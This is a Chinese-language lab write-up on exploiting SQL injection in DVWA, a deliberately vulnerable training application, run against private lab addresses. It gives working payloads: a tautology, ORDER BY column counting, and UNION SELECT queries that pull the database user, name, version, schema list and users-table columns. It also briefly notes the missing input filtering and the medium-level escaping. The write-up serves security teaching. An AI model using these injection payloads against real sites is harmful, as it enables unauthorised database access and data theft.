实验目的:通过使用DVWA实例理解php中的Sql注入漏洞产生的原因及其利用方法,结合实例掌握其加固方式
SQL:通过把SQL命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
具体来说,它是利用现有的应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,他可以通过在web表单中输入恶意SQL命令得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL命令
实验环境:
本机:192.168.1.2
目标机:192.168.1.3
一、低安全等级文件包括
1、使用浏览器打开,http://192.168.1.3:8008/dvwa/login.php输入用户名:admin密码:password
2、登录需要将DVWA的安全级别调整为low,如下图,调整后选择SQL Injection,进入页面
3、提示输入User ID,将显示ID,First name, Surname.这里输入ID为1,点击Submit,出现如下:
5、尝试遍历数据库表.提示输入的值是ID,可以初步判断此处为数字类型的注入。尝试输入:1 or 1=1,尝试遍历数据库表。
6、尝试输入:1 or 1=1,想要遍历数据库表,并没有达成目的,猜测程序将此处看成了字符型,可以尝试输入:【1’or’1’=’1】(直接输入,没有空格)后遍历出数据库中的所有内容。下面尝试结合各种不同的语句,得到不同的结果
7、利用order by num语句猜测查询信息列表,修改num的值,输入【1’ order by 1 - - 】页面正常显示,注意:–前后有空格,两个-连续。继续测试,【1’ order by 2 - - 】【1’ order by 3 - - 】
当输入3时,页面报错。
页面错误信息如下:由此判断查询结果值为2列
8、通过使用user(),datebase(),version(),三个内置函数得到连接数据库的账户名、数据库名称,数据库版本信息,首先参数注入:【1’ and 1=2 union select 1,2 - - 】注意–前后有空格。
如图:
由上图可知,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值。
9、在得知显示之后,使用user(),datebase(),version(),三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。
通过注入【1’ and 1=2 union select user(),database() - - 】得到数据库名称(注意–前后有空格)
连接数据库的用户为:root@localhost,数据库名称:dvwa
10、通过注入:【1’ and 1=2 union select version(),database() - - 】得到数据库版本信息,此处数据版本为:5.0.90-community-nt
11、通过注入【1’ and 1=2 union select 1,@@global.version_compile_os from mysql.user–获得操作系统信息】
12、通过注入【1’ and 1=2 union select 1,schema_name from information_schema.schemata - - 】(注意-前后有空格)查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库information_scehma,该数据库存储了Mysql所有数据库和表的信息
13、通过注入:【1’ and exists(select * from users) - -】猜解dvwa数据库的表名。利用【1’and exists(select*from 表名)】,这里测试的结果,表名为users,在真实渗透环境中,攻击者往往关心存储管理员用户与密码信息的表。
14、猜解字段名:【1’ and exists(select 表名 from users) - - 】,这里测试的字段名有first_name,last_name使用:【1’ and exists(select first_name from users) - - 】和【1’ and exists(select last_name from users) - - 】猜解字段名。
15、爆出数据库中字段的内容【1’ and 1=2 union select first_name,last_name from users – 】这里其实如果存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了
16、查看low等级源代码通过代码可以看出,对输入$id的值没有进行任何过滤就直接放入了SQL语句中进行处理,这样带来了极大的隐患
二、中等等级代码分析
1、将DVWA安全级别调整为medium,查看源代码。
通过源代码可以看出,在中等级别时对输入的$id的值mysql_real_eascape_string()函数进行了处理。
三、高级代码分析
略。。。能力不够。